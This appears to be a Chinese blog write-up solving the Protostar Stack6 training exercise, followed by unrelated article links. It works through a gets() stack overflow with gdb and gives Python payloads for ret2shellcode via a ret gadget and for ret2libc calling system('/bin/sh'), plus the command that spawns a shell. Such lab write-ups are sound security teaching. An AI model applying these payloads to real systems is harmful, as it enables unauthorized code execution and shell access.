Pwn系列之Protostar靶场 Stack6题解
源码如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
首先,我们先来分析这段程序在做什么?
- 第1-4行导入一些常见的库函数
- 第6行定义了getpath()函数
- 第8行定义了一个buffer数组,数组长度是64
- 第9行定义了一个unsigned int 变量,变量名ret
- 第11行打印输出字符串“input path please”
- 第13行用gets函数向buffer数组写入字符
- 第15行用编译器的内建函数__builtin_return_address(0)返回当前函数的返回地址,需要进一步说明的是__builtin_return_address(1)是返回调用getpath函数的函数的返回地址(Caller's ret)。
- 第17行-20行就是判断该返回地址的高位是否是0xbf,如果是,退出函数。
- 第22行打印buffer的值
不难知道,main函数是Caller,所以第15行的返回值一定就是main函数中的下一条指令的地址,我们来查看一下当程序运行时,系统为该程序分配的栈地址是多少。
先在main函数里打个断点(程序运行后,才会由内存映射),然后使用info proc map查看
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
第17行可以看到,栈空间的首地址是0xbffeb000。所以源代码中的if判断针对性非常强,也就是说没法将getpath的返回地址直接返回到buffer的首地址(因为buffer在栈上),实现ret2shellcode。
但是真的不能利用了吗?显然还有机会!但是机会是有前提的。这道题存在两个假设:
假设栈上可以执行代码(ret2shellcode)
假设栈上不能执行代码(ret2libc)
接下来,我们将根据两个假设做进一步分析。
getpath的汇编代码:
(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
看汇编代码重点关注的是它的栈结构,尤其是buffer距离ret的距离。我们尝试画出getpath的栈图(大致就可以,不需要画的多细,找距离也是通过构造特殊输入计算的,而不是根据栈图计算的。)
假设一:栈上可以执行代码
正常的ret2shellcode思路:如果栈上可以执行代码,那么我们需要修改ret的返回地址,要控制ret的返回地址到shellcode的首地址,执行shellcode。但现在ret的返回地址会被检查,所以需要在正常思路稍作改动即可。
第一个ret会被检查,那么我们控制第一个ret返回的是getpath的ret指令地址,地址为是0x080484f9。此时成功绕过内建函数检查。接着控制第二个ret指向shellcode的首地址,当运行到第2个ret时,eip加载shellcode的首地址,然后就会跳转到buffer里执行shellcode代码!
要找到ret位置,首先我们构造特殊的字符串
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
然后运行程序
Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
在0x55555555中出现段错误,出现段错误的原因是ret跳转指令时发现这个地址无效。所以该地址就是ret的地址。
0x55在我们构造的字符串里是’U‘,所以只要把'U'的地址替换为ret的地址即可。具体修改如下:
(gdb) x /10xw $esp
0xbffff78c: 0x080484f9 0xbffff794 0xcccccccc 0xbffff800
0xbffff79c: 0xb7eadc76 0x00000001 0xbffff844 0xbffff84c
0xbffff7ac: 0xb7fe1848 0xbffff800
payload如下:
# 没有真的写shellcode,而是用0xc来模拟
import struct
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
ret = struct.pack("II",0x080484f9,0xbffff794)
shellcode = struct.pack("I",0xcccccccc)
payload = buffer + ret + shellcode
print payload
假设二:栈上不可以执行代码
当栈上无法执行代码时,shellcode写入栈就没有了任何意义。那么如何利用呢?考虑的方法是借助libc库里的可执行函数,比如system()函数。system执行shell需要参数,比如“/bin/sh”字符串,我们同样也需要在libc库空间里找这个字符串。
当程序运行到ret时,ret里记录的是system函数的入口地址,程序就会jmp到system函数,system函数执行需要参数,程序就会读取"/bin/sh"字符串作为参数传递给system函数,这样就构成了system("/bin/sh")命令执行,轻松拿到shell。
如果对整个压栈的过程不是很清楚的同学们可能会疑惑,为什么syetem函数的入口地址和参数之间要隔一个system的返回地址呢?这里我简单做一个解释。
正常调用一个函数他有一个规约,对于一个main函数调用gets(buffer)函数来说,在main函数里会先把buffer参数压栈(如果是多个参数的的话,从右往左压栈),然后call gets函数。call 命令一般会干两件事,第一件事是push eip,也就是把gets函数的下一条指令地址压栈(这就是为什么栈上要放一个ret的返回的地址)。第二件事是jmp gets,跳转到gets的函数入口。
首先在libc里找到system函数的入口地址(为什么可以呢,因为libc库已经被链接到程序里了,所以可以直接搜system函数的地址)
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
在libc库空间搜索/bin/sh字符串
user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
1176511 /bin/sh
1176511是一个相对地址(10进制),所以还要加上libc的基址0xb7e97000(查看内存映射可得出)
Payload如下:
import struct
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"
shellcode = struct.pack("I",0xb7e97000+1176511)
payload = buffer +system+ ret + shellcode
print payload
踩坑:
如果直接在gdb里尝试这个Payload会出现一个错误:
__libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
in ../sysdeps/posix/system.c
使用下面这条指令,getshell!
(python exp1.py; cat) | /opt/protostar/bin/stack6
Pwn系列之Protostar靶场 Stack6题解的更多相关文章
- Myhchael原创题系列 Mychael vs Kid 【题解】
题目链接 Mychael vs Kid 题解 先说说这题的由来及前身 前身 首先有一个很经典的题目: 维护区间加,查询区间\(gcd\) 如果强行用线段树维护的话,区间加之后就没法直接确定当前区间的\ ...
- Hdoj 4508.湫湫系列故事——减肥记I 题解
Problem Description 对于吃货来说,过年最幸福的事就是吃了,没有之一! 但是对于女生来说,卡路里(热量)是天敌啊! 资深美女湫湫深谙"胖来如山倒,胖去如抽丝"的道 ...
- PWN环境搭建
目录 PWN环境搭建 需要的工具或系统 安装PWN工具 pwntools (CTF库.漏洞利用库) pwngdb(GDB插件) checksec(查保护) ROPGadget(二进制文件查找工具) o ...
- PWN二进制漏洞学习指南
目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...
- 【pwn】学pwn日记——栈学习(持续更新)
[pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...
- 关于『进击的Markdown』:第二弹
关于『进击的Markdown』:第二弹 建议缩放90%食用 众里寻他千百度,蓦然回首,Markdown却在灯火灿烂处 MarkdownYYDS! 各位早上好! 我果然鸽稿了 Markdown 语法 ...
- IEEE Bigger系列题解
Bigger系列题解 Bigger Python 坑点在于要高精度以及表达式求值,用java写可以很容易避免高精度问题 然后这道题就可以AC了 代码 import java.io.*; import ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- QTREE系列题解
打了快一星期的qtree终于打完了- - (其实还有两题改不出来弃疗了QAQ) orz神AK一星期前就虐完QTREE 避免忘记还是简单写下题解吧0 0 QTREE1 题意: 给出一颗带边权树 一个操作 ...
- DZY Loves Math 系列详细题解
BZOJ 3309: DZY Loves Math I 题意 \(f(n)\) 为 \(n\) 幂指数的最大值. \[ \sum_{i = 1}^{a} \sum_{j = 1}^{b} f(\gcd ...
随机推荐
- tableau连接mysql
1.下载驱动地址:https://dev.mysql.com/downloads/connector/odbc/ 2.选择MSI Installer自动安装自动配置 3.本地127.0.0.1(其他I ...
- 自己动手从零写桌面操作系统GrapeOS系列教程——11.MBR介绍
学习操作系统原理最好的方法是自己写一个简单的操作系统. 前面我们介绍过电脑的启动过程: 上电->BIOS->MBR(boot)->loader->kernel->交互界面 ...
- 还不知道如何在java中终止一个线程?快来,一文给你揭秘
目录 简介 Thread.stop被禁用之谜 怎么才能安全? 捕获异常之后的处理 总结 简介 工作中我们经常会用到线程,一般情况下我们让线程执行就完事了,那么你们有没有想过如何去终止一个正在运行的线程 ...
- 如何搭建属于自己的服务器(Linux7.6版)
从0搭建属于自己的服务器 最近小伙伴推荐的华为云活动,购买服务器相当的划算,本人也是耗费巨资购买了一台2核4G HECS云服务器. 话不多说,在这里给华为云打一个广子,活动力度还是很不错的. 活动详情 ...
- Spring--第三方bean管理
第三方bean管理 管理第三方的bean的话,是不能在配置文件里面写这个注解的: 他表示的是,扫描你当前文件里面的bean,是可以直接获取到的. 那么,对于第三方的bean,我们可以这么做: 在配置文 ...
- 为什么要用Redis压缩表,是快吗?
首先需要了解什么是压缩表,推荐Redis设计与实现第二版:压缩列表_w3cschool 为什么要用压缩表呢?是快吗? 其实不是的,恰恰相反,ziplist 是为了节省内存而设计出来的一种数据结构.zi ...
- 【Visual Leak Detector】QT 中 VLD 输出解析(四)
说明 使用 VLD 内存泄漏检测工具辅助开发时整理的学习笔记. 目录 说明 1. 使用方式 2. 测试代码 3. 使用 32 bit 编译器时的输出 4. 使用 64 bit 编译器时的输出 5. 输 ...
- SHA-256 简介及 C# 和 js 实现【加密知多少系列】
〇.简介 SHA-256 是 SHA-2 下细分出的一种算法.截止目前(2023-03)未出现"碰撞"案例,被视为是绝对安全的加密算法之一. SHA-2(安全散列算法 2:Secu ...
- 一次Feign使用的案例
项目名称 projectName Maven架构 l ProjectName-项目名称,项目父工程 projectName-api-提供给外部组件使用的接口 common-一些基本共用的类.枚举常量 ...
- 解决vue中滚轮事件报错 Added non-passive event listener to a scroll-blocking 'mousewheel' event.告警
参考:https://www.jianshu.com/p/23850d4cade8 参考:让页面滑动流畅得飞起的新特性:Passive Event Listeners